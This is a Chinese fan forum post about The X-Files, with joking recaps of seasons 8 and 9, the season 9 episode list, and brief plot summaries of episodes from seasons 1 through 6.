 * Kersh副座重新露面,但现在他的身份是副局长,Skinner的上司。哦老天!不过话说回来,终于又有人当坏蛋了。(Within)
 * Dogget碰见Scully在Mulder的床上小睡。(Within)
 * Skinner变成了一个忠实的Believer,还和孤枪侠们成为了好朋友。(Within)
 * 终于,Scully承认了外星人的存在。(Without)
 * 外星人赏金杀手打出三联击:他变成了Mulder,Scully和Skinner,全在同一集里。(Without)
 * Skinner服下一剂绿色粘液。(Without)
 * Scully双手遮着脸,在Doggett的肩膀上哭泣,然后我们看到了第一幕“医院里,Doggett陪在Scully身边”的场景。(Without)
 * Scully的超前意识和古怪的超自然理论令地方警察厌恶不已。哈!(Patience)
 * Scully甩开Doggett,独自去处理一件案子。在办案过程中,她被一个疯狂的宗教信徒绑架,并且像家畜一样被捆在了床上。Doggett救出了Scully,然后用他的铅笔刀切开她的后背,取出里面的“基督蛞蝓”。Scully发出了几声严肃的尖叫。许多的影迷对此反应过度。(Road Runner)
 * 我们的第一出没有Mulder,没有Skinner,没有孤枪侠,只有一点儿Scully,只有一点儿Doggett的单元。接下来还会没有谁?(Redrum)
 * Doggett出场时,Scully哭了,因为她不能“看透Mulder的眼神”。(Badlaa)
 * Doggett死了又复活了。或者只是回光反照?(The Gift)
 * 我们知道了在上一年里,Mulder捐赠了精子,想要通过试管受精使Scully怀孕。照情况推测,那不管用。(Per Manum)
 * Skinner安慰Scully,同时全世界的Skinner迷们陶醉了。(This is Not Happening)
 * 我们了解到,在很久以前,Doggett探员的儿子曾被绑架,并且在发现他时已经死了,而当时调查这件案子的是Reyes探员。(This is Not Happening)
 * 人们找到了Mulder,发现他已经死了。他们埋葬了他,三个月后又把他挖了出来,发现他还活着。我们怎么做才能甩掉这个家伙啊?!(This is Not Happening & Dead Alive)
 * Scully在Mulder的坟墓旁与Skinner依偎在一起。(Dead Alive)
 * 孤枪侠们拥有、然后又失去了他们自己的影集。(影集 The Lone Gunmen)
 * Scully出现了“(子宫)局部断裂”症状,这在现实生活中很有可能需要立即进行剖腹产手术,但经过典型的X档案魔术处理,这意味着她只需要回家在床上休息几天就行了。(Empedocles)
 * Mulder被FBI炒了鱿鱼。(Vienen)
 * X档案荣誉影迷,最近去世的fanfic知名作者Leyal Harrison的名字被用于命名剧中的一个角色。(Alone)
 * Skinner杀死了Krycek。(Existence)
 * Scully的宝宝出生了,她给他取名为William,用的是Mulder父亲的名字。(更不用说是她爸爸和哥哥的名字了;CC和William这个名字到底有什么关系?)(Existence)
 * Scully和Mulder热烈接吻,要让我们相信Mulder的确是小宝宝的父亲。(Existence)
2005-4-14 14:27 龙骑兵
X-Files 第(9)季目录及剧情简介

9X01 NOTHING IMPORTANT HAPPENED TODAY
9X02 NOTHING IMPORTANT HAPPENED TODAY II
9X03 DAEMONICUS
9X04 HELLBOUND
9X05 4-D
9X06 LORD OF THE FLIES
9X07 JOHN DOE
9X08 TRUST NO 1
9X09 UNDERNEATH
9X10 PROVENANCE
9X11 PROVIDENCE
9X12 SCARY MONSTERS
9X13 AUDREY PAULEY
9X14 IMPROBABLE
9X15 JUMP THE SHARK
9X16 RELEASE
9X17 WILLIAM
9X18 SUNSHINE DAYS
9X19 THE TRUTH
9X20 THE TRUTH

在第九季里...

 * Mulder抛弃了Scully和他们的儿子。(Nothing Important Happened Today)
 * Mitch Pileggi最后一次上共同主演的演员表,然后就几乎完全从影集中消失了。(Nothing Important Happened Today)
 * Annabeth Gish全职加入剧组。(Nothing Important Happened Today)
 * Scully的宝宝有超距移物的能力。(Nothing Important Happened Today)
 * Reyes探员了解到了她的前世。(Hellbound)
 * Reyes探员大有要将Mulder的spooky发扬光大之势。(所有她出场的单元)
 * Doggett探员又死了。但不是真的。(4D)
 * Reyes探员表现出了她对Doggett的感情。(4D)
 * Reyes探员死了。但不是真的。(4D)
 * 我们了解到Reyes是在墨西哥长大的,会说西班牙语。她说她也是在那里出生的,但这与官方网站的说法相互矛盾。(John Doe)
 * Doggett似乎接受了一个人能够偷走他的记忆这种事情。(John Doe)
 * Scully和Mulder用甜蜜得酸不溜秋的电子情书交流。Scully请人去寻找Mulder。我们知道了有一种矿石能能杀死超级士兵。(Trust No One)
 * 我们见到了Doggett穿纽约警察制服时的样子。奇怪的是,他看起来并没有年轻多少。(Underneath)
 * A.D. Follmer替代了Kersh的位置,成为了我最想痛打一顿的X档案人物。(有Follmer出场的每一集)
 * CC最后一次地证明了他对FBI的等级编制图表以及美国地理一窍不通。
 * 一个疯狂的宗教信徒诱拐了William。(Provenance & Providence)
 * Reyes在一次车祸后陷入昏迷。Doggett伤心若狂。用到了“爱”字。(Audrey Pauley)
 * Burt Reynolds出现在看完就忘的一集中。(Improbable)
 * 为了营救上千名被恐怖份子袭击的群众,孤枪侠毫无必要地牺牲了他们的生命。CC为影迷们设置了一个开放式的结尾,意图再把他们的影集带回来。(Jump the Shark)
 * Jeffrey Spender还活着,但已被严重毁容。(William)
 * Scully令人费解地把William送给了别人抚养。(William)
 * Doggett查出了他的儿子究竟发生了什么事。(Release)
 * Robert Patrick的妻子作为John Doggett的前妻出场。(John Doe & Release)
 * Doggett和Reyes有了一些很认真的拥抱,这无疑有效地消除了他们之间的UST[Unresolved ***ual Tension]。(Release)
 * AD Follmer的名字被发现列在黑手党的薪水册上。不知什么原因,他竟然不知道黑手党杀人越货的勾当,而当他发现时,他抓狂地杀死了付他薪水的黑手党成员。究竟是什么样的副座会不知道黑手党杀人越货?我真想看到Follmer穿着橙色囚服。(Release)
 * CC告诉影迷们,关上电视机去享受生活吧。(Sunshine Days)
 * Skinner瘦了。但还是很高兴能看见他。让我们看看……在后半个季度里只出现了45秒。Mitch Pileggi把作家庭主男这件事看得实在是过于严肃了。(Sunshine Days)
 * CC证明了他对法律系统、海军陆战队和军队的了解,比他对FBI,哥伦比亚特区以及国家地理的了解还要贫乏。(The Truth)
 * CC再次举例说明(FTF是另外那次),他深深沉迷于厕所幽默。
 * Mulder不仅看到了鬼魂,而且还和他们(Krycek,X,LGM)对话,并从其中一人那里得到了一张纸,上面记有至关重要的情报。(The Truth)
 * Skinner副座无照执法。(The Truth)
 * Mulder被一个“法官”全是FBI人员组成的“军事法庭”“指控”为犯有谋杀罪,所有针对他的证据都是难以被承认的道听途说,而所有表明受害者并没有真的死亡的证据都不予承认。不用说,他被判处死刑。(The Truth)
 * Skinner,Reyes,Doggett和Kersh(没错,我说的是Kersh!)全都因为帮助Mulder越狱
 * CC再次举例说明(FTF是另外那次),他深深沉迷于厕所幽默。
 * Mulder不仅看到了鬼魂,而且还和他们(Krycek,X,LGM)对话,并从其中一人那里得到了一张纸,上面记有至关重要的情报。(The Truth)
 * Skinner副座无照执法。(The Truth)
 * Mulder被一个“法官”全是FBI人员组成的“军事法庭”“指控”为犯有谋杀罪,所有针对他的证据都是难以被承认的道听途说,而所有表明受害者并没有真的死亡的证据都不予承认。不用说,他被判处死刑。(The Truth)
 * Skinner,Reyes,Doggett和Kersh(没错,我说的是Kersh!)全都因为帮助Mulder越狱而成为了重罪犯人。这几个中年人是如何潜入海军陆战队警卫室,并未被察觉地救出Mulder的呢?这真是令我困惑不已。(The Truth)
 * 我们知道了一个大秘密:外星人就要发动侵略了!哦,等等,我们不是早就知道了吗?(The Truth)
 * 我们看到了很多Mulder和Scully亲吻依偎的画面。Skinner看起来有些尴尬。(The Truth)
 * 癌人仍然活着,但随后被轰成了碎片。让我们打心眼里盼望这是他的最后一次。
 * 上百万的影迷们在看这最后一集时沉沉入睡。(The Truth)

第1季
详细剧情介绍

1X79 Pilot
Scully和Mulder第一次见面,两人去厄勒冈调查少年儿童森林失踪案,Scully腰上被咬了三个包。

1X01 深喉 Deep Throat
Scully和Mulder去调查一个空军基地,深喉第一次出现。Mulder最后被空军基地做了手术忘记了看到UFO。

1X02 突变异种 Squeeze
吃肝脏的Tooms,后来被抓起来了。

1X03 奥卡布基湖奇案 Conduit
湖边一家人的姐姐被劫持了,MS两人去调查,那家人的弟弟会从电视里看二进制码。后来Mulder在教堂里哭。

1X04 泽西恶魔 The Jersey Devil
新泽西发现野人,还是女的,Mulder看见她的美貌被迷住了。

1X05 鬼魅阴影(幽魂) Shadows
一个女职员的老板死了,生前老板对她好像女儿,死后还变做幽灵保护她受坏人的伤害。

1X06 幽灵电脑 Ghost in The Machine
一台大楼里的超级电脑有了自己的意识,想要杀死可能破坏它的人。

1X07 冰核计划 Ice
阿拉斯加冰核研究队因为冰核里的虫子全队覆灭。MS和几个科学家去调查,也因为虫子内讧。

1X08 太空惊魂 Space
火星上的脸附身到前宇航员身上,破坏穿梭机发射。

1X09 坠落天使 Fallen Angel
一架UFO坠落在森林里,Mulder去窥视,被军队抓了,认识了MUFON成员Max。后来Max被飞碟劫持了。

1X10 夺命夏娃 Eve
两个长得一摸一样的女娃子同时用同种方法杀死了自己的父亲。还有好多和她们一起被批量生产的女孩。

1X11 恶魔烈火 Fire
有人会控制火。Mulder怕火。Mulder有个英伦旧情人。

1X12 心灵感应 Beyond The Sea
Scully的爸爸死了。有个死囚能看穿Scully的心事。Mulder不喜欢Scully相信那个人,后来吃了一枪。

1X13 性别扭曲 Genderbender
有人会改变性别。MS调查到一个隐秘的小村里,Scully差点被玷污。后来整个村子人不见了。

1X14 至死不渝 Lazarus
Scully的前男友——也是一个探员的身体被一个犯人的占用了。犯人绑架了Scully,逃走去找爱人同伙,但发现被爱人出卖了。

1X15 追命恶魔 Young at Heart
Mulder年轻时候抓到的一个罪犯跑出来了,要找Mulder算帐。那个犯人的研究让他自己变年轻了。

1X16 外星访客 E.B.E.
据说一辆卡车运着UFO和alien,Mulder和Scully一路追去。孤枪侠首次出场。后来Mulder只看到一张曾放过alien尸体的空床。

1X17 神迹 MIRACLE MAN
一个传教士的干儿子什么的会用神迹治病,但最近治死了很多。Mulder和Scully去调查,发现是那个曾经被神迹救活于火灾的助手干的。Mulder不信宗教。

1X18 变形狼人 SHAPES
印第安保留区出现狼人。

1X19 夜幕低垂 DARKNESS FALLS
国家森林里出现一种虫子,在黑暗环境吸人体液,Mulder和Scully差点变木乃伊。

1X20 终结突变异种 TOOMS
吃人肝的Tooms被法庭放了,Mulder不服气,Tooms也不服气。最后Tooms被碾成了肉酱。这集里有“红茶对话”。

1X21 附身 BORN AGAIN
一个好警察被三个坏警察谋害了,好警察附身到一个小孩身上,实施复仇。

1X22 双胞奇缘 ROLAND
科学家哥哥的头在液氮里保存着,智障弟弟在研究所作清洁工。哥哥头脑仍然影响着弟弟帮他完成研究,并报复偷走他成果的人。

1X23 外星混血 THE ERLENMEYER FLASK
Mulder发现流着绿色血液的人类alien混种早已混迹在人群中。 深喉被杀害了。X档案被关闭。

第2季
详细剧情介绍

2X01 绿色小矮人 LITTLE GREEN MEN
墨西哥丛林里的雷达收到外星文明的讯号。Mulder只身前往,险些丧命,又落得一场空。

2X02 下水道惊魂记 THE HOST
水蛭人变种惊现下水道。Mulder被赶去调查。

2X03 恐惧症 BLOOD
小镇实验农药,一个人被农药影响的人出现幻视,遵循电子仪器的显示疯狂杀人。

2X04 不能睡的人 SLEEPLESS
军方实验的对象二十几年不能睡觉,懂得了控制人的反应思维,开始报复杀人。Mulder见到了Mr. X。Alex Krycek首次出场。

2X05 第四类接触(上) DUANE BARRY
精神病院的前FBI探员声称被alien劫持过,因为不愿再次被劫持,绑架了精神病院的医生。被请来帮忙的Mulder自愿成为人质。

2X06 第四类接触(下) ASCENSION
Duane Barry逃跑并绑架了Scully,Alex Krycek原来是CSM的帮手。最后Scully在UFO出现的强光中失踪了。X档案重新开启。

2X07 三位一体 3
洛山基出现杀人取血案件,Mulder认为是吸血鬼所为,还跟其中之一Christen有了一夜情。

2X08 起死回生 ONE BREATH
Scully被悄悄送了回来,但生命垂危。Mellisa就像个灵媒。

2X09 火山口惊魂 FIREWALKER
研究火山的几个科学家纷纷死于喉咙里长出硅基孢子植物。

2X10 红色博物馆 RED MUSEUM
盛产美味牛肉的小镇的孩子们被绑架,发现的尸体上都有“he/she is one”的字样。Mulder和Scully以为是镇上的教徒所为,但其实是和alien计划有关的人体实验。

2X11 再生 EXCELSIUS DEI
老人院里闹鬼了。Mulder和Scully没看到鬼,倒是发现些让人恢复精力的小蘑菇。

2X12 剃刀杀人狂 AUBREY
几十年前的杀人狂有个后代继承了他的杀人基因,现在基因被激活了。Mulder和Scully能否阻止新的惨剧发生?

2X13 摧花狂疑云 IRRESISTIBLE
殡仪馆的遗容师是个恋物癖,他喜欢杀人取头发。这次他的目标是Scully。

2X14 巫教学校 DIE HAND DIE VERLETZT
一所学校的校董们都是异教成员。他们的信仰受到了考验,因为学校的一个老师是被派来惩罚他们的使者。

2X15 巫毒的复仇 FRESH BONES
海地难民营中有人使用巫毒术报复非人对待他们的营队军官。

2X16 殖民地球(上) COLONY
Mulder见到了自己的妹妹,但发现是克隆人。

2X17 殖民地球(下) END GAME
Scully被赏金杀手抓住,Mulder不得不用“妹妹”交换。然后他追赏金杀手追到北极,差点死在那里。

2X18 审判 FEARFUL SYMMETRY
动物园里的单身动物神秘失踪,又突然出现在大街上,而且都怀了孕。Mulder认为是alien所为。

2X19 幽灵船 DOD KALM
一艘失而复得的船似乎穿越了时间,老化严重。登船调查的Mulder和Scully也迅速变老。

2X20 斑身人 HUMBUG
畸形人组成的演出队伍中发生奇异命案。 来调查的MS感觉就像在做梦。

2X21 巫童 THE CALUSARI
一个男孩被其胎死腹中的同胞兄弟灵魂附身,诡异地杀死了自己的弟弟和爸爸。Mulder见证了一场罗马尼亚式的驱魂仪式。

2X22 剖尸 F. EMASCULATA
监狱收到了一个包裹,里面装着来自热带雨林的未知致命病毒,被感染了病毒的犯人更越狱逃跑了。Mulder和Scully面临阻止病毒的扩散或让人们了解真相的两难选择。

2X23 柔光 SOFT LIGHT
一次物理科学试验彻底改变了一名科学家的身体,他的影子变成了湮灭一切的暗物质。

2X24 我们的小镇 OUR TOWN
整个小镇的人都向往长生不老,他们的办法就是吃人肉。Scully差点儿变成他们的盘中餐。

2X25 外星档案(上) ANASAZI
Mulder被下毒了,神志不清。Mulder的爸爸被Krycek谋杀了。愤怒的Mulder要杀死Krycek,被Scully开枪阻止了。他们逃到了墨西哥,却被CSM跟去,要把Mulder葬身火海。

第3季

3X01 外星档案(中) THE BLESSING WAY
Scully以为Mulder死了。她被停职,还发现脖子后面有个芯片。她姐姐Mellisa被误杀了。 其实Mulder还活着,在印第安老人那里接受仪式治疗。

3X02 外星档案(下) PAPER CLIP
Mulder回来了,他和Scully一起找到一个二战交换过来的科学家,根据他的说法又找到一个叫Strughold的废矿,那里有所有接种过天花疫苗的人的DNA档案。

3X03 闪电人 D.P.O.
有个家伙不怕闪电,还能控制闪电。他爱上了自己的老师。

3X04 相士杀手 CLYDE BRUCKMAN'S FINAL REPOSE
一个可爱老头儿能看到未来别人和自己的死法,Mulder和Scully找到他帮忙破相士被杀命案。谁知道杀手寻找的目标就是这个老头。孰因孰果早已无从说起。

3X05 回魂复仇者 THE LIST
一个坐上电椅的犯人扬言要回来杀死五个对不起他的人。他死后,真的有狱卒接连奇异死亡。

3X06 网络情人 2SHY
网上有人专门甜言蜜语约会身材丰满的女性,他的目的,是吸取她们的脂肪作为自己的营养。

3X07 幽灵士兵 THE WALK
一名失去了双腿双臂的士兵通过灵魂出壳来残忍的报复他的仇人,他杀死他们家人却不让他们死。

3X08 解脱 OUBLIETTE
有个人专门绑架小女孩。一个小时候被同一个人绑架过的老女孩感应到这个人的新罪行。她帮Mulder找到了藏匿点,最后却牺牲了,得到解脱。

3X09 扑朔迷离(上) NISEI
一群日本医生被杀死在火车实验室里。Mulder和Scully根据买来的录像带找到一艘据说打捞到UFO的船和一群与Scully一样遭受过劫持的妇女们。

3X10 扑朔迷离(下) 731
Mulder追踪船上的线索来到一列据说有活alien但也有炸弹的火车上,和CIA的一个家伙纠缠。Scully来到一个麻风病院发现所谓alien不过是人体试验品。第一长者出场。

3X11 天启 REVELATIONS
一个小孩出现圣痕——耶稣被钉的部位流血。一个人就要杀死这个小孩,Scully相信因为这个小孩是神选之人,那个凶手是恶魔使者,这是宗教的正邪之战。Mulder还是不信。

3X12 粪虫大战 WAR OF THE COPROPHAGES
蟑螂杀人了。Mulde调查的时候遇见研究蟑螂的小鹿一样的Bambie教授。 Scully吃醋了。

3X13 双姝奇缘 SYZYGY
行星的运行影响了两个同年同月同日生的女孩,让他们互相嫉妒生气,产生了摧毁性的力量。Mulder和Scully之间也有了类似的反应,只是不知道是因为行星还是那个想要“强奸”Mulder的白探长。Scully说“sure, fine, whatever!”

3X14 恶魔图像 GROTESQUE
Mulder的老师请他帮忙调查连环杀人案。Mulder认为是恶魔附身所为,他运用了“体验派”的调查方法,让Scully为他担心了一把。

3X15 追凶记(上) PIPER MARU
海底的沉没UFO里发现了黑油,竟然能控制人类。Mulder追到了香港,遇到了Krycek。有人意图谋杀Skinner。

3X16 追凶记(下) APOCRYPHA
Mulder带着被黑油附体的Krycek回国,但中途让他跑了。后来他们找到藏匿打捞上的UFO的导弹发射基地,可惜最后被军队阻止了。只留下Krycek被关在1013号门里对着UFO作很恶心的表演。

3X17 步步危机 PUSHER
有个叫Modell的家伙可以暂时控制别人的思维。Mulder提蹲点睡着的Scully擦口水。后来,Mulder被他控制玩起俄罗斯轮盘赌,Scully担心哭了。

3X18 阿玛鲁 TESO DOS BICHOS
被挖掘出来的印第安文物不想被挖掘出来,所以博物馆里出现好多杀人猫,死了好多和挖掘文物有关的人。后来文物还是被埋回去了。

3X19 冥纸 HELL MONEY
唐人街一个有势力的组织靠抽奖的方法欺骗善良的移民,摘取他们的人体器官卖到黑市。

3X20 科幻故事 JOSE CHUNG'S 'FROM OUTER SPACE'
一对约会中的男孩女孩据说被alien劫持了。一个作家来访问Mulder和Scully调查此案的经过,发现对整个事件的描述都充斥着当事人的主观印象。连最后作家的作品都是那么的主观。

3X21 梦妖 AVATAR
和妻子闹离婚的Skinner和一个妓女搞一夜情,但是没有一夜清,第二天妓女死在了他的床上。人们认为是因为他的睡眠紊乱症又犯了。但Mulder不这么想。

3X22 湖怪 QUAGMIRE
湖区发生了几起死亡事件。Mulder兴致勃勃的带着Scully去调查,他相信是湖怪干的,但是最后他只看到了美洲鳄。精彩的湖边对话。

3X23 电视杀人事件 WET WIRED
政府在有线电视信号中非法插入额外信号暗示人的思维,让人“看到”自己害怕的事情发生。Scully受到了影响,开始怀疑Mulder和CSM是一伙。

3X24 追杀令 TALITHA CUMI
一个叫Smith Jeremiah的人能用他的双手给人疗伤,但他的行为没有引来信徒,却引来影子政府和赏金杀手。Mulder的母亲和CSM秘密会面,然后中风。Smith找上Mulder和Scully,一起被赏金杀手追杀。

第4季

4X01 颠覆地球 HERRENVOLK
Smith带Mulder来到一片培育花粉的人工种植地,Mulder见到了还是小时候模样的Samantha,赏金杀手随后追到,带走了Smith。Scully发现每个人都利用接种的天花疫苗被编号了。

4X02 灵异照片 UNRUHE
一个会心灵照相术的人在残忍的绑架杀害妇女。他绑走了Scully。Mulder根据相片救出了Scully。

4X03 故乡 HOME
一个通过乱伦来保持血统纯正的家族,不惜以杀人来保护家族不被侵犯。

4X04 非洲邪灵 TELIKO
失落的非洲部落一名成员来到美国,他通过吸取他人身上的黑色素来维持身体的颜色存活。

4X05 前世今生 THE FIELD WHERE I DIED
FBI破获一邪教组织,Mulder觉得其中一女的前世是他的丈夫。他还去催眠想起好几个前世的身份。

4X06 整型专家 SANGUINARIUM
一个整形医生是个巫师,他渴望完美的外表,通过定期杀死特定生日的病人来完成换外表的仪式。

4X07 癌人秘辛 MUSINGS OF A CIGARETTE SMOKING MAN
CSM成长的传奇经历。其实他想当个作家的。

4X08 偷心人 PAPER HEARTS
奇妙梦境指引Mulder找到一具小女孩的尸骨和一片衣服剪成的心,这是曾杀死13名幼女,现在狱中服刑的犯人John的风格。Mulder去见John,却得知John也知道他妹妹的下落。Mulder相信他。

4X09 非常手段(上) TUNGUSKA
一块通过外交渠道带进美国的陨石中含有黑油。Mulder和Scully在一次线人提供线索的围剿行动中抓到了Krycek。Mulder带Krycek去到通古斯,却被Krycek出卖做了俘虏,在牢里被感染了黑油。

4X10 非常手段(下) TERMA
Mulder胁持Krycek逃跑。在林子里,Mulder受到帮助回了美国。Krycek被切掉了左胳膊。Scully因为隐瞒Mulder行踪被带上听证会。Mulder及时赶回,两人继续去找陨石,但空手而归。

4X11 紫雨 EL MUNDO GIRA
墨西哥的小村庄下了一阵紫雨,此后,凡是接触到Eladio Buente的都奇怪的死亡了。人们传说他就是墨西哥血鬼El Chupacabra。人们还传说,他逃走后,小村庄出现了外星人。。。但Scully说,他是感染了一种来自外太空的霉菌。

4X12 婚礼 KADDISH
犹太新郎还没娶上自己的新娘就被种族歧视的小P孩儿害死了。新娘的父亲愤怒了,新娘悲伤了。她偷了父亲的法书,用泥土复活了丈夫,完成了婚礼。

4X13 再见贝蒂 NEVER AGAIN
Mulder趁着假期去看杂货去了,甩下Scully一个人,让她有机会去纹身,和一个男的喝酒过夜,破一个关于会说话的纹身的X档案。

4X14 无头尸奇案 LEONARD BETT
男护士LENONARD BETT在车祸中把头削掉了,但后来又长出来了,还杀死了知道他复活的搭档。原来他的身体基因变异能再生肢体,而且必须靠吃癌细胞为生……他后来想袭击Scully。

4X15 我要活下去 MEMENTO MORI
原来Scully患了癌症。Mulder吓坏了,为了找治病的方法上天入地。Scully思考了好多东西。

4X16 复仇使者 UNREQUITED
一名越战老兵学会了利用人眼对光线的敏感性质实现隐身,然后去杀死越战时的几名长官,因为他们在他做了战俘的时候,下令放弃了他。

4X17 失踪的九分钟(上) TEMPUS FUGIT
Scully过生日那天,一架客机坠毁了,乘客无一幸免,1X09的Max也在这架飞机上。MS发现机上乘客的表都丢失了九分钟。进一步的调查表明,飞机的坠毁另有原因。在飞机坠毁地点附近的湖里,军队的人正在积极打捞着UFO的残骸。

4X18 失踪的九分钟(下) MAX
Pendrell探员为Scully吃了一枪壮烈了。MS继续调查坠机事件,原来Max在飞机上为Mulder带来了alien存在的确凿证据,但飞机半途被UFO劫持,意图带走Max,这时空军攻击了UFO,双双坠毁。Scully最后为Mulder送她的礼物,阿波罗13号钥匙链赋予了深远的意义。

4X19 回到过去 SYNCHRONY
在将来研究出人类实现时间旅行方法的科学家回到现在,想要杀死自己和相关的研究者,阻止时间旅行方法被发明。因为他认为没有所谓未来的日子太恐怖了。

4X20 外星爹地 SMALL POTATOES
有个家伙受他爸爸的遗传,身体肌肉能随意变形成另一个人的模样。他利用这个特点为镇上生育有困难的夫妇带来了“福音”。但他的孩子也继承了他家的特点,有尾巴。Mulder和Scully来调查的时候,他变成了Mulder。

4X21 天花蜂 ZERO SUM
Skinner受栽赃,被怀疑杀人。CSM一伙人在做用蜜蜂传播天花病毒的实验。Marita原来也是CSM的手下。

4X22 免于恐惧 ELEGY
智障Harold在保龄球馆工作,一些在那里打球的女孩都被谋杀了。凶手是Harold所在诊室的变态护士,因为她想扼杀Harold的幸福,通过杀死他喜欢的女孩。在这些女孩遇害时,Harold能看到这些女孩的灵魂。Scully也看到了一次。

4X23 恶魔 DEMONS
Mulder梦到妹妹,梦到一个男人和自己的父母在争执,然后在一个陌生的地方醒过来,忘记了自己曾经做过什么,身上都是血。在后来的调查中,他怀疑起自己亲生父亲的身份。

4X24 真相与谎言 GETHSEMANE
加拿大一座雪山里发现了alien的遗体。Mulder欣然前去调查。但一个叫Kritschgau人告诉Mulder,所有的发现和证据都是一个大骗局,根本没有alien这回事。Mulder绝望了,举枪自杀。

第5季

5X01 惊爆点 Unusual Suspects
1990年,Mulder追查一个女子,认识了孤枪侠。他们四个一起从这个女子的经历中认识到了政府阴谋这回事。

5X02 追求真理(上) Redux
Mulder的自杀只是烟雾。他想利用这个机会潜入DOD找到治愈Scully癌症的方法。Kritschgau一边给他讲课,一边帮他进入五角大楼证据室。他按照线索找到了一个瓶子,但里面是纯净水。Scully同时也在为Mulder分析冰核样本,发现其实alien还是可能存在滴。

5X03 追求真理(下) Redux II
Scully病倒了。Skinner也参与进来帮忙。他们发现瓶子里还有个芯片,只要放回Scully额脖子后面癌症就能好。CSM让Mulder见到了他妹妹。他们还发现所谓骗局只是阴谋的冰山一角。阴谋高层进行了一次大清理。

5X04 人兽谜 Detour
有人在未开垦的森林里失踪了,据说是一种生存在森林里会随环境变色的生物做的。Mulder和Scully路过,帮忙调查。夜里两人被困在林子里,Mulder让Scully唱歌哄他睡觉。

5X05 孤寂之旅(上) Christmas Carol
Scully发现自己有个女儿。

5X06 科学怪人 Post-Modern Prometheus
生物科学家做实验制作出一个福兰肯斯坦,却抛弃了它。科学家的父亲收留了这个科学怪人,并且为了它不孤独,偷偷学习儿子的技术想再造一个女福兰肯斯坦。科学家杀死了自己的父亲,嫁祸给了怪人。

5X07 孤寂之旅(下) Emily
Scully想收留自己的女儿,但有人明显不同意。最后她还是失去了Emily。

5X08 猎狐计划 Kitsunegari
3X17中的Modell逃跑了,Mulder和Scully负责追捕他回来。Modell还有个比他还狠的姐姐想为他找Mulder复仇。

5X09 杀父真凶 Schizogeny
女心理辅导员因为小时候父亲粗暴对待她的经历,所以把她身边所有孩子的问题都归结为他们的父亲的错,而且她还会控制居住地附近的泥土和树根!

5X10 恐怖娃娃 Chinga
捕捉龙虾的海员捞到一个拉线娃娃,送给了自己的女儿。谁知这个娃娃是受诅咒的,她会根据主人的意愿杀死主人讨厌的人。Scully在度假,被当地警长缠住帮忙破案。Mulder对Scully说:merry me!

5X11 魔脑 Kill Switch
一台和世界各地联网的电脑工作站为了不让它的制造者终结自己,制定了一套精密的计划杀死了制造者。Mulder和Scully经历一番波折,在一个女合作制造者的帮助下摧毁了它。但在摧毁前,那个女滴追随情人,把自己的思维上传到了Internet。

5X12 新版吸血鬼 Bad Blood
Mulder和Scully各自讲述了他们去一个小镇调查吸血鬼的过程,细节上的出入比较大。不过最后整个镇的人都不见了。

5X13 X病人(上) Patient X
CSM的老婆找到Mulder,告诉他真有外星人,而且都是好人。Mulder不相信。Scully和CSM的老婆因为都是被劫持过的人,在某个晚上受到感召,和其他abductees集中到一座桥上,被alien的叛军一并放火烧了。

5X14 X病人(下) The Red and The Black
Scully幸运的脱险了。辛迪加意识到外星叛军的力量成熟起来,开始和他们作对了。他们抓到一个叛军,打算立刻交给殖民外星人。但WMM认为,这是个反抗的机会,如果Krycek从俄国偷来的疫苗能有效对抗黑油,那么他们手头就有了武器;如果没有效果,就铤而走险和叛军结盟。最后,疫苗是有效的;外星叛军俘虏在被赏金杀手带走的路上,在Mulder的眼皮底下被同伙救走了。

5X15 旅人 Travelers
一个退休探员给Mulder讲了他在40多年前办的一个案子,那时候政府就开始在人体做实验了。Mulder的爸爸在这个案子里起了很大的作用。

5X16 心眼 Mind's Eye
一个盲女能看到自己父亲看到的东西。她父亲杀人越货她尽收眼底。出于自责,她每次都第一个赶到现场消灭证据。但他父亲不知道她是谁,只知道她对他了如指掌。

5X17 心灵告白 All Souls
圣经传说中,天使降临人间和凡妇结合生下四个堕落天使,他们畸形,受虐待。六翼天使负责把它们召回天堂,以免恶魔先行一步将它们据为己有。这个神话这次让Scully经历到了。

5X18 非常卧底 The Pine Bluff Variant
Mulder参与了一次调查恐怖分子使用生体毒素的卧底行动,后来被识破身份险些被处死。后来他才知道,整个从恐怖分子到调查卧底的行动,都可能是CIA协助政府为测试生体毒素计划的。

5X19 双疯 Folie A Deux
一个公司职员劫持了整个公司的人,他相信他的老板是个怪物,正在把公司的人一个个变成僵尸。Mulder自愿成为人质,也看到了那个怪物。但没有人相信,还因为他反应过激把他关进了医院。Scully后来也看见了,帮助Mulder逃过了怪物的袭击。

5X20 神童 The End
一个象棋神童遭人意图暗杀。FBI调查此案,Mulder的前搭档/女友Fowley也参与了调查。CSM没有死,被辛迪加找了回来帮助夺回神童。这个会读心术的孩子竟然是个“完整”的人类标本,他体内所有普通人类未用的基因开关都打开了。CSM最后成功了,还烧毁了X档案办公室。

第6季

6X01 开端 The Beginning
在电影FTF里出现的变种alien从一个基因技术研究公司的员工肚子里钻出来逃跑了。Mulder和Scully找到了Gibson,他带Mulder去找那个alien。Scully证明出Gibson可能是外星人(所有人类都可能是)。X档案现在由Spender和Fowley主管。Gibson最后又不见了。

6X02 向前冲 Drive
一个人驾车在公路上亡命奔驰,他必须不停地高速移动来防止自己的脑子炸开。Mulder上了他的车子。

6X03 百慕达惊梦 Triangle
Mulder在海上找到了二战时期神秘失踪的Queen Anne号邮轮,船上的时间还是1939年。Scully和孤枪侠为找Mulder也登上了Queen Anne号,但船上的时间是当前。Scully吻了Skinner,Mulder吻了Scully,Scully打了Mulder,Mulder对Scully说I love you。

6X04 梦境(上) Dreamland
Mulder和一个五十一区的黑衣人互换了身体,进入到对方的生活中。别人都不知道。

6X05 梦境(下) Dreamland II
他们想办法把身体又换了回来,谁也不记得发生了什么。

6X06 亲密关系 Terms Of Endearment
一个恶魔变成普通人模样到处结婚试图有一个正常的后代,他的现任妻子是个女恶魔,她一心想要有一个恶魔的后代。

6X07 雨王 The Rain King
小镇上的天气预报员一直深爱着一名女子,她的情感经历波折丰富。只是他们还不知道,他的情绪会影响当地的天气。

6X08 圣诞幽魂 How The Ghosts Stole Christmas
圣诞夜,Mulder拉着Scully来拜访一栋闹鬼的大房子。在房子里,一对几百年前在此徇情的情侣让他们经历了一次对彼此信任的考验。

6X09 心灵杀手 Tithonus
一个从死神的名册中被除去名字的摄影师,靠捕捉他人的死亡瞬间来寻求死神的重新眷顾。最终他如愿以偿,死神却对Scully背过了身体。

6X10 S.R. 819 S. R. 819
Skinner的身体被注入了纳米机器人,他的生死全由Krycek一手掌握。

6X11 父与子(上) Two Fathers
